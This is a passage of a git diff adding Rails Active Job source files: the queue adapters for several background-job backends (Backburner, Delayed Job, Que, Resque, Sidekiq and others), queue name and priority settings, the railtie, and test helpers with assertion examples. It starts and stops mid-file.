+        DEFAULT_EXECUTOR_OPTIONS = {
+          min_threads:     0,
+          max_threads:     Concurrent.processor_count,
+          auto_terminate:  true,
+          idletime:        60, # 1 minute
+          max_queue:       0, # unlimited
+          fallback_policy: :caller_runs # shouldn't matter -- 0 max queue
+        }.freeze
+
+        attr_accessor :immediate
+
+        def initialize(**options)
+          self.immediate = false
+          @immediate_executor = Concurrent::ImmediateExecutor.new
+          @async_executor = Concurrent::ThreadPoolExecutor.new(DEFAULT_EXECUTOR_OPTIONS.merge(options))
+        end
+
+        def enqueue(job, queue_name:)
+          executor.post(job, &:perform)
+        end
+
+        def enqueue_at(job, timestamp, queue_name:)
+          delay = timestamp - Time.current.to_f
+          if delay > 0
+            Concurrent::ScheduledTask.execute(delay, args: [job], executor: executor, &:perform)
+          else
+            enqueue(job, queue_name: queue_name)
+          end
+        end
+
+        def shutdown(wait: true)
+          @async_executor.shutdown
+          @async_executor.wait_for_termination if wait
+        end
+
+        def executor
+          immediate ? @immediate_executor : @async_executor
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/backburner_adapter.rb b/activejob/lib/active_job/queue_adapters/backburner_adapter.rb
new file mode 100644
index 0000000000..0ba93c6e0b
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/backburner_adapter.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "backburner"
+
+module ActiveJob
+  module QueueAdapters
+    # == Backburner adapter for Active Job
+    #
+    # Backburner is a beanstalkd-powered job queue that can handle a very
+    # high volume of jobs. You create background jobs and place them on
+    # multiple work queues to be processed later. Read more about
+    # Backburner {here}[https://github.com/nesquena/backburner].
+    #
+    # To use Backburner set the queue_adapter config to +:backburner+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :backburner
+    class BackburnerAdapter
+      def enqueue(job) #:nodoc:
+        Backburner::Worker.enqueue JobWrapper, [ job.serialize ], queue: job.queue_name
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        delay = timestamp - Time.current.to_f
+        Backburner::Worker.enqueue JobWrapper, [ job.serialize ], queue: job.queue_name, delay: delay
+      end
+
+      class JobWrapper #:nodoc:
+        class << self
+          def perform(job_data)
+            Base.execute job_data
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb b/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb
new file mode 100644
index 0000000000..1978179948
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "delayed_job"
+
+module ActiveJob
+  module QueueAdapters
+    # == Delayed Job adapter for Active Job
+    #
+    # Delayed::Job (or DJ) encapsulates the common pattern of asynchronously
+    # executing longer tasks in the background. Although DJ can have many
+    # storage backends, one of the most used is based on Active Record.
+    # Read more about Delayed Job {here}[https://github.com/collectiveidea/delayed_job].
+    #
+    # To use Delayed Job, set the queue_adapter config to +:delayed_job+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :delayed_job
+    class DelayedJobAdapter
+      def enqueue(job) #:nodoc:
+        delayed_job = Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name, priority: job.priority)
+        job.provider_job_id = delayed_job.id
+        delayed_job
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        delayed_job = Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name, priority: job.priority, run_at: Time.at(timestamp))
+        job.provider_job_id = delayed_job.id
+        delayed_job
+      end
+
+      class JobWrapper #:nodoc:
+        attr_accessor :job_data
+
+        def initialize(job_data)
+          @job_data = job_data
+        end
+
+        def perform
+          Base.execute(job_data)
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/inline_adapter.rb b/activejob/lib/active_job/queue_adapters/inline_adapter.rb
new file mode 100644
index 0000000000..3d0b590212
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/inline_adapter.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module QueueAdapters
+    # == Active Job Inline adapter
+    #
+    # When enqueuing jobs with the Inline adapter the job will be executed
+    # immediately.
+    #
+    # To use the Inline set the queue_adapter config to +:inline+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :inline
+    class InlineAdapter
+      def enqueue(job) #:nodoc:
+        Base.execute(job.serialize)
+      end
+
+      def enqueue_at(*) #:nodoc:
+        raise NotImplementedError, "Use a queueing backend to enqueue jobs in the future. Read more at http://guides.rubyonrails.org/active_job_basics.html"
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/qu_adapter.rb b/activejob/lib/active_job/queue_adapters/qu_adapter.rb
new file mode 100644
index 0000000000..bd7003e177
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/qu_adapter.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "qu"
+
+module ActiveJob
+  module QueueAdapters
+    # == Qu adapter for Active Job
+    #
+    # Qu is a Ruby library for queuing and processing background jobs. It is
+    # heavily inspired by delayed_job and Resque. Qu was created to overcome
+    # some shortcomings in the existing queuing libraries.
+    # The advantages of Qu are: Multiple backends (redis, mongo), jobs are
+    # requeued when worker is killed, resque-like API.
+    #
+    # Read more about Qu {here}[https://github.com/bkeepers/qu].
+    #
+    # To use Qu set the queue_adapter config to +:qu+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :qu
+    class QuAdapter
+      def enqueue(job, *args) #:nodoc:
+        qu_job = Qu::Payload.new(klass: JobWrapper, args: [job.serialize]).tap do |payload|
+          payload.instance_variable_set(:@queue, job.queue_name)
+        end.push
+
+        # qu_job can be nil depending on the configured backend
+        job.provider_job_id = qu_job.id unless qu_job.nil?
+        qu_job
+      end
+
+      def enqueue_at(job, timestamp, *args) #:nodoc:
+        raise NotImplementedError, "This queueing backend does not support scheduling jobs. To see what features are supported go to http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html"
+      end
+
+      class JobWrapper < Qu::Job #:nodoc:
+        def initialize(job_data)
+          @job_data = job_data
+        end
+
+        def perform
+          Base.execute @job_data
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/que_adapter.rb b/activejob/lib/active_job/queue_adapters/que_adapter.rb
new file mode 100644
index 0000000000..86b5e07743
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/que_adapter.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "que"
+
+module ActiveJob
+  module QueueAdapters
+    # == Que adapter for Active Job
+    #
+    # Que is a high-performance alternative to DelayedJob or QueueClassic that
+    # improves the reliability of your application by protecting your jobs with
+    # the same ACID guarantees as the rest of your data. Que is a queue for
+    # Ruby and PostgreSQL that manages jobs using advisory locks.
+    #
+    # Read more about Que {here}[https://github.com/chanks/que].
+    #
+    # To use Que set the queue_adapter config to +:que+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :que
+    class QueAdapter
+      def enqueue(job) #:nodoc:
+        que_job = JobWrapper.enqueue job.serialize, priority: job.priority
+        job.provider_job_id = que_job.attrs["job_id"]
+        que_job
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        que_job = JobWrapper.enqueue job.serialize, priority: job.priority, run_at: Time.at(timestamp)
+        job.provider_job_id = que_job.attrs["job_id"]
+        que_job
+      end
+
+      class JobWrapper < Que::Job #:nodoc:
+        def run(job_data)
+          Base.execute job_data
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb b/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb
new file mode 100644
index 0000000000..ccc1881091
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require "queue_classic"
+
+module ActiveJob
+  module QueueAdapters
+    # == queue_classic adapter for Active Job
+    #
+    # queue_classic provides a simple interface to a PostgreSQL-backed message
+    # queue. queue_classic specializes in concurrent locking and minimizing
+    # database load while providing a simple, intuitive developer experience.
+    # queue_classic assumes that you are already using PostgreSQL in your
+    # production environment and that adding another dependency (e.g. redis,
+    # beanstalkd, 0mq) is undesirable.
+    #
+    # Read more about queue_classic {here}[https://github.com/QueueClassic/queue_classic].
+    #
+    # To use queue_classic set the queue_adapter config to +:queue_classic+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :queue_classic
+    class QueueClassicAdapter
+      def enqueue(job) #:nodoc:
+        qc_job = build_queue(job.queue_name).enqueue("#{JobWrapper.name}.perform", job.serialize)
+        job.provider_job_id = qc_job["id"] if qc_job.is_a?(Hash)
+        qc_job
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        queue = build_queue(job.queue_name)
+        unless queue.respond_to?(:enqueue_at)
+          raise NotImplementedError, "To be able to schedule jobs with queue_classic " \
+            "the QC::Queue needs to respond to `enqueue_at(timestamp, method, *args)`. " \
+            "You can implement this yourself or you can use the queue_classic-later gem."
+        end
+        qc_job = queue.enqueue_at(timestamp, "#{JobWrapper.name}.perform", job.serialize)
+        job.provider_job_id = qc_job["id"] if qc_job.is_a?(Hash)
+        qc_job
+      end
+
+      # Builds a <tt>QC::Queue</tt> object to schedule jobs on.
+      #
+      # If you have a custom <tt>QC::Queue</tt> subclass you'll need to subclass
+      # <tt>ActiveJob::QueueAdapters::QueueClassicAdapter</tt> and override the
+      # <tt>build_queue</tt> method.
+      def build_queue(queue_name)
+        QC::Queue.new(queue_name)
+      end
+
+      class JobWrapper #:nodoc:
+        class << self
+          def perform(job_data)
+            Base.execute job_data
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/resque_adapter.rb b/activejob/lib/active_job/queue_adapters/resque_adapter.rb
new file mode 100644
index 0000000000..590b4ee98d
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/resque_adapter.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require "resque"
+require "active_support/core_ext/enumerable"
+require "active_support/core_ext/array/access"
+
+begin
+  require "resque-scheduler"
+rescue LoadError
+  begin
+    require "resque_scheduler"
+  rescue LoadError
+    false
+  end
+end
+
+module ActiveJob
+  module QueueAdapters
+    # == Resque adapter for Active Job
+    #
+    # Resque (pronounced like "rescue") is a Redis-backed library for creating
+    # background jobs, placing those jobs on multiple queues, and processing
+    # them later.
+    #
+    # Read more about Resque {here}[https://github.com/resque/resque].
+    #
+    # To use Resque set the queue_adapter config to +:resque+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :resque
+    class ResqueAdapter
+      def enqueue(job) #:nodoc:
+        JobWrapper.instance_variable_set(:@queue, job.queue_name)
+        Resque.enqueue_to job.queue_name, JobWrapper, job.serialize
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        unless Resque.respond_to?(:enqueue_at_with_queue)
+          raise NotImplementedError, "To be able to schedule jobs with Resque you need the " \
+            "resque-scheduler gem. Please add it to your Gemfile and run bundle install"
+        end
+        Resque.enqueue_at_with_queue job.queue_name, timestamp, JobWrapper, job.serialize
+      end
+
+      class JobWrapper #:nodoc:
+        class << self
+          def perform(job_data)
+            Base.execute job_data
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb b/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb
new file mode 100644
index 0000000000..5a1135854b
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require "sidekiq"
+
+module ActiveJob
+  module QueueAdapters
+    # == Sidekiq adapter for Active Job
+    #
+    # Simple, efficient background processing for Ruby. Sidekiq uses threads to
+    # handle many jobs at the same time in the same process. It does not
+    # require Rails but will integrate tightly with it to make background
+    # processing dead simple.
+    #
+    # Read more about Sidekiq {here}[http://sidekiq.org].
+    #
+    # To use Sidekiq set the queue_adapter config to +:sidekiq+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :sidekiq
+    class SidekiqAdapter
+      def enqueue(job) #:nodoc:
+        #Sidekiq::Client does not support symbols as keys
+        job.provider_job_id = Sidekiq::Client.push \
+          "class"   => JobWrapper,
+          "wrapped" => job.class.to_s,
+          "queue"   => job.queue_name,
+          "args"    => [ job.serialize ]
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        job.provider_job_id = Sidekiq::Client.push \
+          "class"   => JobWrapper,
+          "wrapped" => job.class.to_s,
+          "queue"   => job.queue_name,
+          "args"    => [ job.serialize ],
+          "at"      => timestamp
+      end
+
+      class JobWrapper #:nodoc:
+        include Sidekiq::Worker
+
+        def perform(job_data)
+          Base.execute job_data.merge("provider_job_id" => jid)
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb b/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb
new file mode 100644
index 0000000000..de98a950d0
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "sneakers"
+require "monitor"
+
+module ActiveJob
+  module QueueAdapters
+    # == Sneakers adapter for Active Job
+    #
+    # A high-performance RabbitMQ background processing framework for Ruby.
+    # Sneakers is being used in production for both I/O and CPU intensive
+    # workloads, and have achieved the goals of high-performance and
+    # 0-maintenance, as designed.
+    #
+    # Read more about Sneakers {here}[https://github.com/jondot/sneakers].
+    #
+    # To use Sneakers set the queue_adapter config to +:sneakers+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :sneakers
+    class SneakersAdapter
+      def initialize
+        @monitor = Monitor.new
+      end
+
+      def enqueue(job) #:nodoc:
+        @monitor.synchronize do
+          JobWrapper.from_queue job.queue_name
+          JobWrapper.enqueue ActiveSupport::JSON.encode(job.serialize)
+        end
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        raise NotImplementedError, "This queueing backend does not support scheduling jobs. To see what features are supported go to http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html"
+      end
+
+      class JobWrapper #:nodoc:
+        include Sneakers::Worker
+        from_queue "default"
+
+        def work(msg)
+          job_data = ActiveSupport::JSON.decode(msg)
+          Base.execute job_data
+          ack!
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb b/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb
new file mode 100644
index 0000000000..d09e1e9143
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "sucker_punch"
+
+module ActiveJob
+  module QueueAdapters
+    # == Sucker Punch adapter for Active Job
+    #
+    # Sucker Punch is a single-process Ruby asynchronous processing library.
+    # This reduces the cost of hosting on a service like Heroku along
+    # with the memory footprint of having to maintain additional jobs if
+    # hosting on a dedicated server. All queues can run within a
+    # single application (eg. Rails, Sinatra, etc.) process.
+    #
+    # Read more about Sucker Punch {here}[https://github.com/brandonhilkert/sucker_punch].
+    #
+    # To use Sucker Punch set the queue_adapter config to +:sucker_punch+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :sucker_punch
+    class SuckerPunchAdapter
+      def enqueue(job) #:nodoc:
+        if JobWrapper.respond_to?(:perform_async)
+          # sucker_punch 2.0 API
+          JobWrapper.perform_async job.serialize
+        else
+          # sucker_punch 1.0 API
+          JobWrapper.new.async.perform job.serialize
+        end
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        if JobWrapper.respond_to?(:perform_in)
+          delay = timestamp - Time.current.to_f
+          JobWrapper.perform_in delay, job.serialize
+        else
+          raise NotImplementedError, "sucker_punch 1.0 does not support `enqueued_at`. Please upgrade to version ~> 2.0.0 to enable this behavior."
+        end
+      end
+
+      class JobWrapper #:nodoc:
+        include SuckerPunch::Job
+
+        def perform(job_data)
+          Base.execute job_data
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/test_adapter.rb b/activejob/lib/active_job/queue_adapters/test_adapter.rb
new file mode 100644
index 0000000000..885f9ff01c
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/test_adapter.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module QueueAdapters
+    # == Test adapter for Active Job
+    #
+    # The test adapter should be used only in testing. Along with
+    # <tt>ActiveJob::TestCase</tt> and <tt>ActiveJob::TestHelper</tt>
+    # it makes a great tool to test your Rails application.
+    #
+    # To use the test adapter set queue_adapter config to +:test+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :test
+    class TestAdapter
+      attr_accessor(:perform_enqueued_jobs, :perform_enqueued_at_jobs, :filter, :reject)
+      attr_writer(:enqueued_jobs, :performed_jobs)
+
+      # Provides a store of all the enqueued jobs with the TestAdapter so you can check them.
+      def enqueued_jobs
+        @enqueued_jobs ||= []
+      end
+
+      # Provides a store of all the performed jobs with the TestAdapter so you can check them.
+      def performed_jobs
+        @performed_jobs ||= []
+      end
+
+      def enqueue(job) #:nodoc:
+        return if filtered?(job)
+
+        job_data = job_to_hash(job)
+        enqueue_or_perform(perform_enqueued_jobs, job, job_data)
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        return if filtered?(job)
+
+        job_data = job_to_hash(job, at: timestamp)
+        enqueue_or_perform(perform_enqueued_at_jobs, job, job_data)
+      end
+
+      private
+        def job_to_hash(job, extras = {})
+          { job: job.class, args: job.serialize.fetch("arguments"), queue: job.queue_name }.merge!(extras)
+        end
+
+        def enqueue_or_perform(perform, job, job_data)
+          if perform
+            performed_jobs << job_data
+            Base.execute job.serialize
+          else
+            enqueued_jobs << job_data
+          end
+        end
+
+        def filtered?(job)
+          if filter
+            !Array(filter).include?(job.class)
+          elsif reject
+            Array(reject).include?(job.class)
+          else
+            false
+          end
+        end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_name.rb b/activejob/lib/active_job/queue_name.rb
new file mode 100644
index 0000000000..9dc6bc7f2e
--- /dev/null
+++ b/activejob/lib/active_job/queue_name.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module QueueName
+    extend ActiveSupport::Concern
+
+    # Includes the ability to override the default queue name and prefix.
+    module ClassMethods
+      mattr_accessor :queue_name_prefix
+      mattr_accessor :default_queue_name, default: "default"
+
+      # Specifies the name of the queue to process the job on.
+      #
+      #   class PublishToFeedJob < ActiveJob::Base
+      #     queue_as :feeds
+      #
+      #     def perform(post)
+      #       post.to_feed!
+      #     end
+      #   end
+      def queue_as(part_name = nil, &block)
+        if block_given?
+          self.queue_name = block
+        else
+          self.queue_name = queue_name_from_part(part_name)
+        end
+      end
+
+      def queue_name_from_part(part_name) #:nodoc:
+        queue_name = part_name || default_queue_name
+        name_parts = [queue_name_prefix.presence, queue_name]
+        name_parts.compact.join(queue_name_delimiter)
+      end
+    end
+
+    included do
+      class_attribute :queue_name, instance_accessor: false, default: default_queue_name
+      class_attribute :queue_name_delimiter, instance_accessor: false, default: "_"
+    end
+
+    # Returns the name of the queue the job will be run on.
+    def queue_name
+      if @queue_name.is_a?(Proc)
+        @queue_name = self.class.queue_name_from_part(instance_exec(&@queue_name))
+      end
+      @queue_name
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_priority.rb b/activejob/lib/active_job/queue_priority.rb
new file mode 100644
index 0000000000..063bccdb01
--- /dev/null
+++ b/activejob/lib/active_job/queue_priority.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module QueuePriority
+    extend ActiveSupport::Concern
+
+    # Includes the ability to override the default queue priority.
+    module ClassMethods
+      mattr_accessor :default_priority
+
+      # Specifies the priority of the queue to create the job with.
+      #
+      #   class PublishToFeedJob < ActiveJob::Base
+      #     queue_with_priority 50
+      #
+      #     def perform(post)
+      #       post.to_feed!
+      #     end
+      #   end
+      #
+      # Specify either an argument or a block.
+      def queue_with_priority(priority = nil, &block)
+        if block_given?
+          self.priority = block
+        else
+          self.priority = priority
+        end
+      end
+    end
+
+    included do
+      class_attribute :priority, instance_accessor: false, default: default_priority
+    end
+
+    # Returns the priority that the job will be created with
+    def priority
+      if @priority.is_a?(Proc)
+        @priority = instance_exec(&@priority)
+      end
+      @priority
+    end
+  end
+end
diff --git a/activejob/lib/active_job/railtie.rb b/activejob/lib/active_job/railtie.rb
new file mode 100644
index 0000000000..7b0742a6d2
--- /dev/null
+++ b/activejob/lib/active_job/railtie.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "global_id/railtie"
+require "active_job"
+
+module ActiveJob
+  # = Active Job Railtie
+  class Railtie < Rails::Railtie # :nodoc:
+    config.active_job = ActiveSupport::OrderedOptions.new
+
+    initializer "active_job.logger" do
+      ActiveSupport.on_load(:active_job) { self.logger = ::Rails.logger }
+    end
+
+    initializer "active_job.set_configs" do |app|
+      options = app.config.active_job
+      options.queue_adapter ||= :async
+
+      ActiveSupport.on_load(:active_job) do
+        options.each { |k, v| send("#{k}=", v) }
+      end
+    end
+
+    initializer "active_job.set_reloader_hook" do |app|
+      ActiveSupport.on_load(:active_job) do
+        ActiveJob::Callbacks.singleton_class.set_callback(:execute, :around, prepend: true) do |_, inner|
+          app.reloader.wrap do
+            inner.call
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/test_case.rb b/activejob/lib/active_job/test_case.rb
new file mode 100644
index 0000000000..49cd51bdd0
--- /dev/null
+++ b/activejob/lib/active_job/test_case.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require "active_support/test_case"
+
+module ActiveJob
+  class TestCase < ActiveSupport::TestCase
+    include ActiveJob::TestHelper
+
+    ActiveSupport.run_load_hooks(:active_job_test_case, self)
+  end
+end
diff --git a/activejob/lib/active_job/test_helper.rb b/activejob/lib/active_job/test_helper.rb
new file mode 100644
index 0000000000..1cd2c40c15
--- /dev/null
+++ b/activejob/lib/active_job/test_helper.rb
@@ -0,0 +1,448 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/class/subclasses"
+require "active_support/core_ext/hash/keys"
+
+module ActiveJob
+  # Provides helper methods for testing Active Job
+  module TestHelper
+    delegate :enqueued_jobs, :enqueued_jobs=,
+      :performed_jobs, :performed_jobs=,
+      to: :queue_adapter
+
+    module TestQueueAdapter
+      extend ActiveSupport::Concern
+
+      included do
+        class_attribute :_test_adapter, instance_accessor: false, instance_predicate: false
+      end
+
+      module ClassMethods
+        def queue_adapter
+          self._test_adapter.nil? ? super : self._test_adapter
+        end
+
+        def disable_test_adapter
+          self._test_adapter = nil
+        end
+
+        def enable_test_adapter(test_adapter)
+          self._test_adapter = test_adapter
+        end
+      end
+    end
+
+    ActiveJob::Base.include(TestQueueAdapter)
+
+    def before_setup # :nodoc:
+      test_adapter = queue_adapter_for_test
+
+      queue_adapter_changed_jobs.each do |klass|
+        klass.enable_test_adapter(test_adapter)
+      end
+
+      clear_enqueued_jobs
+      clear_performed_jobs
+      super
+    end
+
+    def after_teardown # :nodoc:
+      super
+
+      queue_adapter_changed_jobs.each { |klass| klass.disable_test_adapter }
+    end
+
+    # Specifies the queue adapter to use with all active job test helpers.
+    #
+    # Returns an instance of the queue adapter and defaults to
+    # <tt>ActiveJob::QueueAdapters::TestAdapter</tt>.
+    #
+    # Note: The adapter provided by this method must provide some additional
+    # methods from those expected of a standard <tt>ActiveJob::QueueAdapter</tt>
+    # in order to be used with the active job test helpers. Refer to
+    # <tt>ActiveJob::QueueAdapters::TestAdapter</tt>.
+    def queue_adapter_for_test
+      ActiveJob::QueueAdapters::TestAdapter.new
+    end
+
+    # Asserts that the number of enqueued jobs matches the given number.
+    #
+    #   def test_jobs
+    #     assert_enqueued_jobs 0
+    #     HelloJob.perform_later('david')
+    #     assert_enqueued_jobs 1
+    #     HelloJob.perform_later('abdelkader')
+    #     assert_enqueued_jobs 2
+    #   end
+    #
+    # If a block is passed, that block will cause the specified number of
+    # jobs to be enqueued.
+    #
+    #   def test_jobs_again
+    #     assert_enqueued_jobs 1 do
+    #       HelloJob.perform_later('cristian')
+    #     end
+    #
+    #     assert_enqueued_jobs 2 do
+    #       HelloJob.perform_later('aaron')
+    #       HelloJob.perform_later('rafael')
+    #     end
+    #   end
+    #
+    # The number of times a specific job was enqueued can be asserted.
+    #
+    #   def test_logging_job
+    #     assert_enqueued_jobs 1, only: LoggingJob do
+    #       LoggingJob.perform_later
+    #       HelloJob.perform_later('jeremy')
+    #     end
+    #   end
+    #
+    # The number of times a job except specific class was enqueued can be asserted.
+    #
+    #   def test_logging_job
+    #     assert_enqueued_jobs 1, except: HelloJob do
+    #       LoggingJob.perform_later
+    #       HelloJob.perform_later('jeremy')
+    #     end
+    #   end
+    #
+    # The number of times a job is enqueued to a specific queue can also be asserted.
+    #
+    #   def test_logging_job
+    #     assert_enqueued_jobs 2, queue: 'default' do
+    #       LoggingJob.perform_later
+    #       HelloJob.perform_later('elfassy')
+    #     end
+    #   end
+    def assert_enqueued_jobs(number, only: nil, except: nil, queue: nil)
+      if block_given?
+        original_count = enqueued_jobs_size(only: only, except: except, queue: queue)
+        yield
+        new_count = enqueued_jobs_size(only: only, except: except, queue: queue)
+        assert_equal number, new_count - original_count, "#{number} jobs expected, but #{new_count - original_count} were enqueued"
+      else
+        actual_count = enqueued_jobs_size(only: only, except: except, queue: queue)
+        assert_equal number, actual_count, "#{number} jobs expected, but #{actual_count} were enqueued"
+      end
+    end
+
+    # Asserts that no jobs have been enqueued.
+    #
+    #   def test_jobs
+    #     assert_no_enqueued_jobs
+    #     HelloJob.perform_later('jeremy')
+    #     assert_enqueued_jobs 1
+    #   end
+    #
+    # If a block is passed, that block should not cause any job to be enqueued.
+    #
+    #   def test_jobs_again
+    #     assert_no_enqueued_jobs do
+    #       # No job should be enqueued from this block
+    #     end
+    #   end
+    #
+    # It can be asserted that no jobs of a specific kind are enqueued:
+    #
+    #   def test_no_logging
+    #     assert_no_enqueued_jobs only: LoggingJob do
+    #       HelloJob.perform_later('jeremy')
+    #     end
+    #   end
+    #
+    # It can be asserted that no jobs except specific class are enqueued:
+    #
+    #   def test_no_logging
+    #     assert_no_enqueued_jobs except: HelloJob do
+    #       HelloJob.perform_later('jeremy')
+    #     end
+    #   end
+    #
+    # Note: This assertion is simply a shortcut for:
+    #
+    #   assert_enqueued_jobs 0, &block
+    def assert_no_enqueued_jobs(only: nil, except: nil, &block)
+      assert_enqueued_jobs 0, only: only, except: except, &block
+    end
+
+    # Asserts that the number of performed jobs matches the given number.
+    # If no block is passed, <tt>perform_enqueued_jobs</tt>
+    # must be called around the job call.
+    #
+    #   def test_jobs
+    #     assert_performed_jobs 0
+    #
+    #     perform_enqueued_jobs do
+    #       HelloJob.perform_later('xavier')
+    #     end
+    #     assert_performed_jobs 1
+    #
+    #     perform_enqueued_jobs do
+    #       HelloJob.perform_later('yves')
+    #       assert_performed_jobs 2
+    #     end
+    #   end
+    #
+    # If a block is passed, that block should cause the specified number of
+    # jobs to be performed.
+    #
+    #   def test_jobs_again
+    #     assert_performed_jobs 1 do
+    #       HelloJob.perform_later('robin')
+    #     end
+    #
+    #     assert_performed_jobs 2 do
+    #       HelloJob.perform_later('carlos')
+    #       HelloJob.perform_later('sean')
+    #     end
+    #   end
+    #
+    # The block form supports filtering. If the :only option is specified,
+    # then only the listed job(s) will be performed.
+    #
+    #     def test_hello_job
+    #       assert_performed_jobs 1, only: HelloJob do
+    #         HelloJob.perform_later('jeremy')
+    #         LoggingJob.perform_later
+    #       end
+    #     end
+    #
+    # Also if the :except option is specified,
+    # then the job(s) except specific class will be performed.
+    #
+    #     def test_hello_job
+    #       assert_performed_jobs 1, except: LoggingJob do
+    #         HelloJob.perform_later('jeremy')
+    #         LoggingJob.perform_later
+    #       end
+    #     end
+    #
+    # An array may also be specified, to support testing multiple jobs.
+    #
+    #     def test_hello_and_logging_jobs
+    #       assert_nothing_raised do
+    #         assert_performed_jobs 2, only: [HelloJob, LoggingJob] do
+    #           HelloJob.perform_later('jeremy')
+    #           LoggingJob.perform_later('stewie')
+    #           RescueJob.perform_later('david')
+    #         end
+    #       end
+    #     end
+    def assert_performed_jobs(number, only: nil, except: nil)
+      if block_given?
+        original_count = performed_jobs.size
+        perform_enqueued_jobs(only: only, except: except) { yield }
+        new_count = performed_jobs.size
+        assert_equal number, new_count - original_count,
+          "#{number} jobs expected, but #{new_count - original_count} were performed"
+      else
+        performed_jobs_size = performed_jobs.size
+        assert_equal number, performed_jobs_size, "#{number} jobs expected, but #{performed_jobs_size} were performed"
+      end
+    end
+
+    # Asserts that no jobs have been performed.
+    #
+    #   def test_jobs
+    #     assert_no_performed_jobs
+    #
+    #     perform_enqueued_jobs do
+    #       HelloJob.perform_later('matthew')
+    #       assert_performed_jobs 1
+    #     end
+    #   end
+    #
+    # If a block is passed, that block should not cause any job to be performed.
+    #
+    #   def test_jobs_again
+    #     assert_no_performed_jobs do
+    #       # No job should be performed from this block
+    #     end
+    #   end
+    #
+    # The block form supports filtering. If the :only option is specified,
+    # then only the listed job(s) will not be performed.
+    #
+    #   def test_no_logging
+    #     assert_no_performed_jobs only: LoggingJob do
+    #       HelloJob.perform_later('jeremy')
+    #     end
+    #   end
+    #
+    # Also if the :except option is specified,
+    # then the job(s) except specific class will not be performed.
+    #
+    #   def test_no_logging
+    #     assert_no_performed_jobs except: HelloJob do
+    #       HelloJob.perform_later('jeremy')
+    #     end
+    #   end
+    #
+    # Note: This assertion is simply a shortcut for:
+    #
+    #   assert_performed_jobs 0, &block
+    def assert_no_performed_jobs(only: nil, except: nil, &block)
